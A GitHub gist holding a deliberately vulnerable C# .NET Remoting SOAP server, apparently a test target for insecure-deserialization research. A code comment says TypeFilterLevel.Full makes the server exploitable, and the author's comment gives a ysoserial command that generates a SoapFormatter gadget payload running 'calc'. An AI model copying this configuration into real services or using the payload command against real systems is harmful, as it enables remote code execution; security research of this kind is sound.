Skip to content

Instantly share code, notes, and snippets.

@adon90
Created March 20, 2019 17:24
Show Gist options
  • Save adon90/0f5445234332a2bf638a57e38ecc3102 to your computer and use it in GitHub Desktop.
Save adon90/0f5445234332a2bf638a57e38ecc3102 to your computer and use it in GitHub Desktop.
using System;
using System.Collections;
using System.Runtime.Remoting;
using System.Runtime.Remoting.Channels;
using System.Runtime.Remoting.Channels.Http;
using System.Runtime.Serialization.Formatters;
namespace ExampleRemoting
{
public class DateTimeServer : MarshalByRefObject, IDisposable
{
public DateTimeServer()
{
Console.WriteLine("DateTime server activated");
}
~DateTimeServer()
{
Console.WriteLine("DateTime server Object Destroyed.");
}
public void Dispose()
{
GC.SuppressFinalize(this);
}
public String MyMethod(String name)
{
String strMessage = "Hi " + name + ". Here is the current DateTime: " + DateTime.Now;
Console.WriteLine(strMessage);
return strMessage;
}
}
public class Server
{
public static void Main()
{
SoapServerFormatterSinkProvider soapServerFormatterSinkProvider = new SoapServerFormatterSinkProvider()
{
TypeFilterLevel = TypeFilterLevel.Full // This is where we can exploit it without knowing anything about the application or having an 0day! Could be TypeFilterLevel.Low
};
IDictionary hashtables = new Hashtable();
hashtables["port"] = 9999;
hashtables["proxyName"] = null;
hashtables["name"] = "Test Remoting Services";
/* Creating the channel using SoapServerFormatterSinkProvider */
//HttpChannel channel = new HttpChannel(9999);
HttpChannel channel = new HttpChannel(hashtables, null, soapServerFormatterSinkProvider);
ChannelServices.RegisterChannel(channel,false);
RemotingConfiguration.RegisterWellKnownServiceType(typeof(DateTimeServer), "TuPutisimaMadreEnPatinete.soap", WellKnownObjectMode.Singleton);
System.Console.WriteLine("press <enter> to exit.");
System.Console.ReadLine();
}
public String MyMethod(String name)
{
String strMessage = "Hi " + name + ". Here is the current DateTime: " + DateTime.Now;
Console.WriteLine(strMessage);
return strMessage;
}
}
}
@adon90
Copy link
Author

adon90 commented Mar 20, 2019

ysoserial.exe -f SoapFormatter -g WindowsIdentity -c "calc" -o raw -t

@0xVIC
Copy link

0xVIC commented Mar 20, 2019

Nice aDon90

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment